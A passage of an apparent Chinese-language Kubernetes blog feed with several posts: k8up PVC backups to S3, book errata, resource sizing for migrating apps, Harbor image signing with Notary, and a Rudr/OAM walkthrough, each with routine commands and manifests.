&lt;h2 id=&#34;单节点集群&#34;&gt;单节点集群&lt;/h2&gt;

&lt;p&gt;该操作并非删除标签，而是去污点操作。&lt;/p&gt;

&lt;h2 id=&#34;参考连接&#34;&gt;参考连接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;预检：&lt;code&gt;https://kubernetes.io/docs/reference/setup-tools/kubeadm/implementation-details/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Building large clusters：&lt;code&gt;https://kubernetes.io/docs/setup/best-practices/cluster-large/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>用 k8up 把 PVC 备份到 S3</title>
      <link>/post/backup-pvc-2-s3/</link>
      <pubDate>Sat, 04 Jan 2020 22:04:14 +0800</pubDate>
      <guid>/post/backup-pvc-2-s3/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://k8up.io/&#34; target=&#34;_blank&#34;&gt;k8up&lt;/a&gt; 是一个基于 &lt;a href=&#34;https://github.com/restic/restic&#34; target=&#34;_blank&#34;&gt;Restic&lt;/a&gt; 的备份工具，可以一次性的或者周期性的把指定的 PVC 备份到 S3 协议的对象存储上去，备份内容还可以使用 Restic 恢复到 S3 或者 PVC 上。除了 PVC，后续还可以用命令的方式，例如 &lt;code&gt;mysqldump&lt;/code&gt;，把数据库等内容备份出来。&lt;/p&gt;

&lt;h2 id=&#34;安装和初始化&#34;&gt;安装和初始化&lt;/h2&gt;

&lt;p&gt;Helm 安装即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;helm repo add appuio https://charts.appuio.ch
helm repo update
helm install appuio/k8up
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装过程会生成一系列的 CRD，会在后续步骤中使用。&lt;/p&gt;

&lt;p&gt;后续过程中需要两个 Secret，分别用来加密备份和访问 S3：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl create secret generic s3secret --from-literal token=[hidden] \
    --from-literal key=[hidden]
secret/s3secret created
$ kubectl create secret generic backup --from-literal password=PassW0rd
secret/backup created
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;备份-pvc&#34;&gt;备份 PVC&lt;/h2&gt;

&lt;p&gt;k8up 会选择命名空间中注解为 &lt;code&gt;appuio.ch/backup: &amp;quot;true&amp;quot;&lt;/code&gt; 的 PVC 进行备份，我们用下文的工作负载生成两个 PVC，运行起来之后，两个 PVC 分别挂载到容器的 &lt;code&gt;/data1&lt;/code&gt; 和 &lt;code&gt;/data2&lt;/code&gt; 目录中，可以登录到 Pod，在其中生成文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it debugger-7b8f654484-hrcg9 bash
bash-4.4# echo &amp;quot;Hello world&amp;quot; &amp;gt; /data/data.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一次性任务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: backup.appuio.ch/v1alpha1
kind: Backup
metadata:
  name: backup-now
spec:
  keepJobs: 4
  backend:
    repoPasswordSecretRef:
      name: backup
      key: password
    s3:
      endpoint: https://s3.amazonaws.com
      bucket: dustise
      accessKeyIDSecretRef:
        name: s3secret
        key: token
      secretAccessKeySecretRef:
        name: s3secret
        key: key
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看 Pod 日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl logs -f k8up-1578112449-84d7d4d6cc-q6qsh
2020/01/04 14:30:10 [INFO] New backup job received backup-now in namespace default
2020/01/04 14:30:10 [INFO] Listing all PVCs with annotation appuio.ch/backup in namespace default
2020/01/04 14:30:10 [INFO] Adding data to list
...
2020/01/04 14:30:29 [INFO] default/backupjob-1578148210 is running
2020/01/04 14:30:37 [INFO] default/backupjob-1578148210 finished successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;两个卷的备份均已完成，查看 S3 的情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ s3cmd la
                       DIR   s3://dustise/data/
                       DIR   s3://dustise/index/
                       DIR   s3://dustise/keys/
                       DIR   s3://dustise/snapshots/
2020-01-04 14:30       155   s3://dustise/config
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发现已经初始化了一个备份结构。&lt;/p&gt;

&lt;h2 id=&#34;还原&#34;&gt;还原&lt;/h2&gt;

&lt;p&gt;备份成功之后，我们希望还原一下，看看备份的内容。&lt;/p&gt;

&lt;p&gt;新建一个 PVC 用作还原目标：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: restore
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 5Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建一个还原命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: backup.appuio.ch/v1alpha1
kind: Restore
metadata:
  name: restore2pvc
  namespace: default
spec:
  backend:
    repoPasswordSecretRef:
      key: password
      name: backup
    s3:
      accessKeyIDSecretRef:
        key: token
        name: s3secret
      bucket: dustise
      endpoint: https://s3.amazonaws.com
      secretAccessKeySecretRef:
        key: key
        name: s3secret
  restoreMethod:
    folder:
      claimName: restore
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看运行日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl logs -f k8up-1578112449-84d7d4d6cc-q6qsh
2020/01/04 14:43:45 [INFO] Received restore job restore-now in namespace default
2020/01/04 14:43:45 [INFO] default/restorejob-1578149025 is running
2020/01/04 14:43:45 [INFO] default/restorejob-1578149025 is running
2020/01/04 14:43:59 [INFO] default/restorejob-1578149025 is running
2020/01/04 14:44:15 [INFO] default/restorejob-1578149025 finished successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看该卷内容，会发现其中有一个 &lt;code&gt;data/data&lt;/code&gt; 目录，包含了我们的备份内容。&lt;/p&gt;

&lt;h2 id=&#34;附录&#34;&gt;附录&lt;/h2&gt;

&lt;h3 id=&#34;连接&#34;&gt;连接&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;https://k8up.io/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;https://github.com/restic/restic&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;源码&#34;&gt;源码&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  creationTimestamp: null
  labels:
    app: debugger
  name: debugger
spec:
  replicas: 1
  selector:
    matchLabels:
      app: debugger
  strategy: {}
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: debugger
    spec:
      containers:
      - image: dustise/sleep
        name: sleep
        resources: {}
        volumeMounts:
        - name: data
          mountPath: /data
      volumes:
      - name: data
        persistentVolumeClaim:
          claimName: data
---
kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: data
  annotations:
    appuio.ch/backup: &amp;quot;true&amp;quot;
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>2020，我要重学 Kubernetes</title>
      <link>/post/kubernetes-2020-again/</link>
      <pubDate>Mon, 30 Dec 2019 16:00:34 +0800</pubDate>
      <guid>/post/kubernetes-2020-again/</guid>
      <description>

&lt;p&gt;一眨眼，2019 就剩下最后一天，疏于照料的公众号也放了满天的鸽子。一方面今年做了老豆又换了工作，生活工作节奏还调整的不太好；另一方面云原生方面的作者也越来越多，总觉得题材不够吃，也就懈怠了。&lt;/p&gt;

&lt;p&gt;回顾 2016 年参与《Kubernetes 权威指南》第二版的编写工作以来，因为其他几位作者不像我一样喜欢凑热闹，顶着本书作者的大帽子，一路混吃混喝也有三四年了。然而对 Kubernetes 的了解本来就不够全面，再加上云原生的世界日新月异，面对一些 Kubernetes 问题已经感觉颇有不足，一些特性的了解也还停留在老版本阶段，再次学习看来是很有必要的。然而学习应该有些彩头有个目标才有意思，因此我决定从给 Kubernetes 权威指南开始，逐章进行勘误，并根据当前情况进行增补或者点评。&lt;/p&gt;

&lt;p&gt;今天是第一章。&lt;/p&gt;

&lt;h2 id=&#34;点评&#34;&gt;点评&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;RC 已经被淘汰，以 Deployment 取而代之。&lt;/li&gt;
&lt;li&gt;对存储卷的简介，也稍嫌过时，没有提到 CSI 和 PVC&lt;/li&gt;
&lt;li&gt;过分强调 Docker。&lt;/li&gt;
&lt;li&gt;核心组件部分应该加入 CRD 的介绍。&lt;/li&gt;
&lt;li&gt;多处 API 版本都需要更新。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如 MySQL 的 RC 就应该更新为：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1 # API 版本
kind: Deployment  # 副本控制器RC
metadata:
  labels: # 标签
    app: mysql
  name: mysql # 对象名称，全局唯一
spec:
  replicas: 1 # 预期的副本数量
  selector:
    matchLabels:
      app: mysql
  template:  # Pod 模板
    metadata:
      labels:
        app: mysql
    spec:
      containers:  # 定义容器
      - image: mysql:5.7.28
        name: mysql
        ports:
        - containerPort: 3306                   # 容器应用监听的端口号
        env:                                # 注入容器内的环境变量
        - name: MYSQL_ROOT_PASSWORD
          value: &amp;quot;123456&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外本书作者们在 Github 建设了一个仓库，用于接收读者们的勘误建议：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/kubeguide/K8sDefinitiveGuide-V4-corrigendum/&#34; target=&#34;_blank&#34;&gt;https://github.com/kubeguide/K8sDefinitiveGuide-V4-corrigendum/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;第一章内容很泛，技术内容较少，导致本篇内容严重枯燥，这里就搞个小抽奖，顺便欢迎一下即将到来的元旦假期，欢迎在本文评论区发表意见建议，我会选择顺眼部分送出权威指南一本，以感谢读者大人的支持。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>应用未迁，资源先行</title>
      <link>/post/tips-on-moving-apps-to-k8s/</link>
      <pubDate>Sat, 21 Dec 2019 22:47:13 +0800</pubDate>
      <guid>/post/tips-on-moving-apps-to-k8s/</guid>
      <description>

&lt;h2 id=&#34;引子&#34;&gt;引子&lt;/h2&gt;

&lt;p&gt;在企业服务和云原生的夹缝里厮混了这些年，见到了很多成功或不成功的 K8s 迁移案例。企业在向 Kubernetes 靠拢的过程中，一直有几个跟资源相关的尴尬问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;单个大集群，还是多个小集群？&lt;/li&gt;
&lt;li&gt;少量大节点，还是大量小节点？&lt;/li&gt;
&lt;li&gt;应用的资源如何配合 K8s 的策略进行分配？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些问题有很多模棱两可的相关素材，在任何一个迁移过程中提起这些问题，都能引发大规模的磨洋工事件。然而对于我一直关注的“XX 管理系统”之类的应用来说，这就不是一个大问题了——随大流的应用，选择一个随大流的方向，大概是比较合适的，而 CNCF 红红火火恍恍惚惚，自然不会缺乏数据了。本着这个思路，就诞生了这一篇没什么技术含量的文章。&lt;/p&gt;

&lt;h2 id=&#34;集群规模&#34;&gt;集群规模&lt;/h2&gt;

&lt;p&gt;早在 Kubernetes 1.2 时候，就已经宣布达到 1000 节点的规模了，在 1.6 版本更达到了 5000 节点的规模。各大厂也都有了各自的超大规模单一集群。然而普罗大众的情况是如何呢？ 在 &lt;a href=&#34;https://sysdig.com/blog/sysdig-2019-container-usage-report/&#34; target=&#34;_blank&#34;&gt;Sysdig 2019 年度容器应用报告&lt;/a&gt;中得到的结果是，大于 50 节点规模的集群不足 10%，另外一个佐证是 &lt;a href=&#34;https://medium.com/magalix/how-kubernetes-community-manage-kubernetes-scale-survey-results-1171df1e90fb&#34; target=&#34;_blank&#34;&gt;Mohamed Ahmed 的一篇调查报告&lt;/a&gt;中也提供了类似的数据。这种情况的一种解释是，目前的应用阶段还比较早期，处于试探期间；然而从一个侧面来说，Sysdig 的调研对象针对的是生产应用，也就是说处于生产应用状态下的集群，绝大多数都是这种小规模集群。根据对 CNCF Landscape 中 Distribution 分类的产品的抽查，也可以看到随处可见的 Kubernetes As Service 类似功能的实现，这也证实了小集群协作方案的落地趋势。相对于少量大集群，多个小集群的差异在于：&lt;/p&gt;

&lt;h3 id=&#34;隔离程度高&#34;&gt;隔离程度高&lt;/h3&gt;

&lt;p&gt;虽然现在存在不少沙箱容器实现，然而最易用的、生态最为成熟的方案还是 Docker 为代表的传统容器方案，传统容器方案所缺失的隔离能力，通过多租户多集群方式是一个非常自然的思路。&lt;/p&gt;

&lt;h3 id=&#34;实现难度低&#34;&gt;实现难度低&lt;/h3&gt;

&lt;p&gt;国内几个大厂都有自己的大规模 Kubernetes 集群实现方式，然而通常需要对基础组件大动干戈，甚至不惜使用无法回流社区的孤岛版本，虽然部分大企业的研究院等相关部门已经具备了非常强的研发实力，然而对于通常的 To B 场景来说，这并不是一个合适的选择。&lt;/p&gt;

&lt;h3 id=&#34;运管成本高&#34;&gt;运管成本高&lt;/h3&gt;

&lt;p&gt;多个集群很明显会需要更多的运维和管理人力的投入。&lt;/p&gt;

&lt;h3 id=&#34;资源利用率低&#34;&gt;资源利用率低&lt;/h3&gt;

&lt;p&gt;多个集群都会有自己的 Master 组件、ETCD 集群、网络组件等，这些都会抢占更多原本属于工作负载的系统资源，客观上降低了资源的总体利用率。&lt;/p&gt;

&lt;h2 id=&#34;节点&#34;&gt;节点&lt;/h2&gt;

&lt;p&gt;目前很多 Kubernetes 系统都会使用虚拟机来做为节点。那么虚拟机的资源是多分还是少分呢？下表是一个简单的对比：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;大节点&lt;/th&gt;
&lt;th&gt;小节点&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;节点数量&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;同样的资源总量情况下，相对来说小资源节点会得到更多的数量。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;运维成本&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;通常情况下，节点的运维成本是和节点数量正相关的。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;容错能力&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;较大的节点上通常会集中较多的应用，因此在节点出现故障时，可能会带来更大的损失。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;资源粒度&lt;/td&gt;
&lt;td&gt;大&lt;/td&gt;
&lt;td&gt;小&lt;/td&gt;
&lt;td&gt;单节点资源较大，因此其资源粒度也较大。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;应用副本数&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;同一应用的多个副本，如果调度到同一个节点上的话，对于提高其负载能力和健壮性来说并无裨益。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;副本规模&lt;/td&gt;
&lt;td&gt;大&lt;/td&gt;
&lt;td&gt;小&lt;/td&gt;
&lt;td&gt;毫无疑问，具备更多资源的大节点，能够运行更大资源需求范围的容器应用。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;系统开销&lt;/td&gt;
&lt;td&gt;少&lt;/td&gt;
&lt;td&gt;多&lt;/td&gt;
&lt;td&gt;每个虚拟机都会有自己的操作系统、网络等基础开销，因此相对于少量大节点来说，大量的小节点会消耗更多的资源。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;除了这些原则性的条目之外，更重要的决策依据就是运行在集群上的应用需求。例如某租户的集群需要支撑 20 个应用，共300 个 Pod，按照常见的每节点 30-50 Pod 的分布，就需要 6-10 个运算节点（Node）。以 10 节点算，加入系统保留、冗余等计算，可能需要 10 * 120G 的虚拟机实例；然而考虑到故障情况——一个节点的故障，最好的结果也是短期内降低 10% 的算力。如果扩张到 40 个 32G 的虚拟机节点，会大幅降低单节点故障的影响——当然也会提高网络的复杂性和效率要求。&lt;/p&gt;

&lt;h2 id=&#34;应用资源&#34;&gt;应用资源&lt;/h2&gt;

&lt;p&gt;Java 应用是特别常见的迁移案例，除掉微服务化、网格、分布式等改造要求之外，资源的申请和限制是一个必须要面对的门槛。&lt;code&gt;requests&lt;/code&gt; 是个用于调度的定义，Kubernetes 根据这个要求来选择能够满足要求的节点来分配应用。而 &lt;code&gt;limits&lt;/code&gt; 则会用于触发 OOM。&lt;/p&gt;

&lt;p&gt;众所周知的是，Java 的早期版本是无法识别容器内的内存限制的，因此如果没有限制堆内存上限，又开启了 &lt;code&gt;limits&lt;/code&gt;，就会被 Kubernetes 杀掉。因此针对容器中运行的情况，需要进行一些启动参数的设置。&lt;/p&gt;

&lt;p&gt;如果允许更新到新版本的 JVM，可以使用新引入的 &lt;code&gt;UseCGroupMemoryLimitForHeap&lt;/code&gt;、&lt;code&gt;MaxRAMFraction&lt;/code&gt; 参数，让 JVM 直接继承容器的定义。&lt;/p&gt;

&lt;p&gt;如果无法直接升级，那么就有必要设置 xmx 和 xms 参数了，这里有几个小建议：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;xmx 和 xms，request 和 limits 建议设成一致，能省掉很多麻烦。&lt;/li&gt;
&lt;li&gt;tmpfs、filemapping 等都是可能的内存大户。&lt;/li&gt;
&lt;li&gt;JVM 并不是唯一的内存消耗者，一般建议 Limit 大于 XMX 25% 以上。&lt;/li&gt;
&lt;li&gt;/sys/fs/cgroup/memory/memory.stat 是你的好朋友。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>使用 Harbor 提供可信镜像</title>
      <link>/post/content-trust-with-harbor/</link>
      <pubDate>Fri, 13 Dec 2019 10:39:08 +0800</pubDate>
      <guid>/post/content-trust-with-harbor/</guid>
      <description>

&lt;p&gt;应用上云的过程中，过了部署关和应用改造关之后，安全就是下一个大问题了。对于容器化应用来说，镜像的安全是个非常根本的问题，例如 Harbor 中集成了 Clair 组件，用于对镜像进行漏洞扫描；&lt;a href=&#34;https://blog.yamler.io/post/introducing-trivy/&#34; target=&#34;_blank&#34;&gt;之前介绍的 Trivy&lt;/a&gt; 也能够提供对镜像各层进行扫描的能力，类似的工具还有很多。在完成镜像本身的安全保障之后，一方面要把安全构建出来的镜像能够”原汁原味“的提供给运行时进行使用，同时还要对运行时环境进行约束，只允许获取和运行可靠镜像，如此才能够保证镜像供应链的完整。&lt;/p&gt;

&lt;h2 id=&#34;快速上手&#34;&gt;快速上手&lt;/h2&gt;

&lt;p&gt;Harbor 中提供了 &lt;a href=&#34;https://github.com/theupdateframework/notary&#34; target=&#34;_blank&#34;&gt;Notary&lt;/a&gt; 服务来提供了这方面的保障，Docker 17.12 之后也提供了对应的运行时支持。&lt;/p&gt;

&lt;p&gt;这里用 1.10.0 版本的 Harbor 为例，在安装命令中加入参数 &lt;code&gt;--with-notary&lt;/code&gt; 就可以启用这个服务了。启动 Harbor 之后，使用 Docker 客户端的终端设置环境变量：&lt;code&gt;export DOCKER_CONTENT_TRUST=1&lt;/code&gt;。启用 Docker 的内容信任模式。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;docker login&lt;/code&gt; 命令登录仓库，然后进行镜像推送，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker push 10.211.55.27/sign/clare:s1
The push refers to repository [10.211.55.27/sign/clare]
bbef02a499c4: Layer already exists
...
47a4bb1cfbc7: Layer already exists
s1: digest: sha256:bafc293fd765dbbad5ed3d57d771f0566e5d63a668213f1f61c469cbb199fca6 size: 1162
Signing and pushing trust metadata
You are about to create a new root signing key passphrase. This passphrase
...
Enter passphrase for new root key with ID b52c1ba:
Repeat passphrase for new root key with ID b52c1ba:
Enter passphrase for new repository key with ID c37e6d2:
Repeat passphrase for new repository key with ID c37e6d2:
Error: trust data missing for remote repository 10.211.55.27/sign/clare or remote repository not found: timestamp key trust data unavailable.  Has a notary repository been initialized?
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里多出了一个初始化过程，在我们照章输入密码之后，发现出了错，这是因为我们没有设置 Notary 服务地址，加入环境变量来解决：&lt;code&gt;export DOCKER_CONTENT_TRUST_SERVER=https://10.211.55.27:4443&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;再次推送：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker push 10.211.55.27/sign/clare:s1
The push refers to repository [10.211.55.27/sign/clare]
...
Repeat passphrase for new repository key with ID d6068a9:
Finished initializing &amp;quot;10.211.55.27/sign/clare&amp;quot;
Successfully signed 10.211.55.27/sign/clare:s1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，推送已经成功了，并且还有签署成功的反馈。查看一下他的签名信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker trust inspect 10.211.55.27/sign/clare:s1
[
    {
        &amp;quot;Name&amp;quot;: &amp;quot;10.211.55.27/sign/clare:s1&amp;quot;,
        &amp;quot;SignedTags&amp;quot;: [
            {
                &amp;quot;SignedTag&amp;quot;: &amp;quot;s1&amp;quot;,
                &amp;quot;Digest&amp;quot;: &amp;quot;bafc293fd765dbbad5ed3d57d771f0566e5d63a668213f1f61c469cbb199fca6&amp;quot;,
                &amp;quot;Signers&amp;quot;: [
                    &amp;quot;Repo Admin&amp;quot;
                ]
            }

...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果我们取消 Docker 内容信任：&lt;code&gt;unset DOCKER_CONTENT_TRUST&lt;/code&gt;。接下来推送一个新镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker push 10.211.55.27/sign/alpine:latest
The push refers to repository [10.211.55.27/sign/alpine]
77cae8ab23bf: Pushed
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次开启 Docker 内容信任开关：&lt;code&gt;export DOCKER_CONTENT_TRUST=1&lt;/code&gt;，尝试拉取：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker pull 10.211.55.27/sign/alpine:latest
Error: remote trust data does not exist for 10.211.55.27/sign/alpine: 10.211.55.27:4443 does not have trust data for 10.211.55.27/sign/alpine
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 Docker 拒绝了未经签署的镜像。&lt;/p&gt;

&lt;h2 id=&#34;幕后&#34;&gt;幕后&lt;/h2&gt;

&lt;p&gt;Docker 包含了简写为 DCT 的内容签名（Docker Content Trust）支持，能够借助 Notary 进行内容签署和校验。首次签署时会要求生成根密钥，每次创建一个新的 Repository 时候，会为其单独生成签署密钥。接下来，每个 Tag 的推送都会进行签署，从而保证内容的稳定性。&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Kubernetes 能享受到这个么？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;托管 Kubernetes 怎么办？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多镜像仓库怎么办？&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Rudr 初体验</title>
      <link>/post/rudr-at-a-glance/</link>
      <pubDate>Wed, 04 Dec 2019 21:20:35 +0800</pubDate>
      <guid>/post/rudr-at-a-glance/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/oam-dev/spec&#34; target=&#34;_blank&#34;&gt;OAM（开放应用模型）&lt;/a&gt; 是一次对应用运行及其支撑环境进行抽象的有意思的尝试，与之对应的控制器 &lt;a href=&#34;https://github.com/oam-dev/rudr&#34; target=&#34;_blank&#34;&gt;Rudr&lt;/a&gt; 也在同一时间诞生。有了 Rudr，OAM 就不是一个简单的标准，而是一个可以尝试落地的原型了。官方仓库提供了很好的&lt;a href=&#34;https://github.com/oam-dev/rudr/blob/master/docs/tutorials/deploy_and_update.md&#34; target=&#34;_blank&#34;&gt;入门文档&lt;/a&gt;，借此文档的帮助，能够很好的理解规范中莫名其妙的概念。这里就按照官方教程走一通，看看这种方法让应用部署运行过程发生了什么变化。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;Rudr 需要 Kubernetes 1.15 以上的版本，并且使用 Helm 3 进行安装。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ git clone https://github.com/oam-dev/rudr.git
正克隆到 &#39;rudr&#39;...
remote: Enumerating objects: 49, done.
...
$ cd rudr
...
$ helm install rudr charts/rudr
...
NOTES:
Rudr is a Kubernetes controller to manage Configuration CRDs.

It has been successfully installed.
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;非常谦虚的一个 Note。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;部署一个-component&#34;&gt;部署一个 Component&lt;/h2&gt;

&lt;p&gt;Component 是 OAM 中的一个运行单位，代表一种运行负载，其类型可能有 Server、Job 等。下面使用示例代码创建一个 Component 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f examples/helloworld-python-component.yaml
componentschematic.core.oam.dev/helloworld-python-v1 created
$ kubectl get component
NAME                   AGE
helloworld-python-v1   35s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看这个源文件，其中声明了一个 &lt;code&gt;Server&lt;/code&gt; 类型的组件，用参数的方式定义了两个环境变量 &lt;code&gt;TARGET&lt;/code&gt; 和 &lt;code&gt;PORT&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;查看-traits&#34;&gt;查看 Traits&lt;/h2&gt;

&lt;p&gt;接下来看看 Kubernetes + Rudr 为应用提供了哪些运行支撑能力：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get traits
NAME             AGE
autoscaler       13m
empty            13m
ingress          13m
manual-scaler    13m
volume-mounter   13m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;熟悉 Kubernetes 的同学应该看得出，除了奇怪的 &lt;code&gt;empty&lt;/code&gt;，其他都是常见的部署元素。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get traits autoscaler -o yaml
apiVersion: core.oam.dev/v1alpha1
kind: Trait
...
spec:
  appliesTo:
  - core.oam.dev/v1alpha1.Server
  - core.oam.dev/v1alpha1.Task
  properties: |
    {
      &amp;quot;$schema&amp;quot;: &amp;quot;http://json-schema.org/draft-
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里可以看到，HPA 适用于 Server 和 Task 两种组件，定义了最大实例数、最小实例数以及 CPU/内存消耗阈值。&lt;/p&gt;

&lt;h2 id=&#34;运行应用&#34;&gt;运行应用&lt;/h2&gt;

&lt;p&gt;有了 Component 和 Trait，接下来可以用 &lt;code&gt;Configuration&lt;/code&gt; 启动应用了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f examples/first-app-config.yaml
applicationconfiguration.core.oam.dev/first-app created
$ kubectl get pods
NAME                                              READY   STATUS    RESTARTS   AGE
first-app-helloworld-python-v1-855479556f-6qvk8   1/1     Running   0          38s
...
$ kubectl get ingress
NAME                                           HOSTS         ADDRESS   PORTS   AGE
first-app-helloworld-python-v1-trait-ingress   example.com             80      12m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 已经启动，Ingress 对象也已经建立起来，可以看看他的运行结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ export POD_NAME=$(kubectl get pods -l &amp;quot;oam.dev/instance-name=first-app-helloworld-python-v1,app.kubernetes.io/name=first-app&amp;quot; -o jsonpath=&amp;quot;{.items[0].metadata.name}&amp;quot;)
...
$ kubectl port-forward $POD_NAME 9999:9999 &amp;amp;
Forwarding from [::1]:9999 -&amp;gt; 9999
$ curl http://127.0.0.1:9999
Hello Rudr!
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;修改配置&#34;&gt;修改配置&lt;/h2&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl edit&lt;/code&gt; 修改上一步的配置，把 target 参数修改为 &lt;code&gt;World&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
    parameterValues:
    - name: target
      value: World
...
&lt;/code&gt;&lt;/pre&gt;

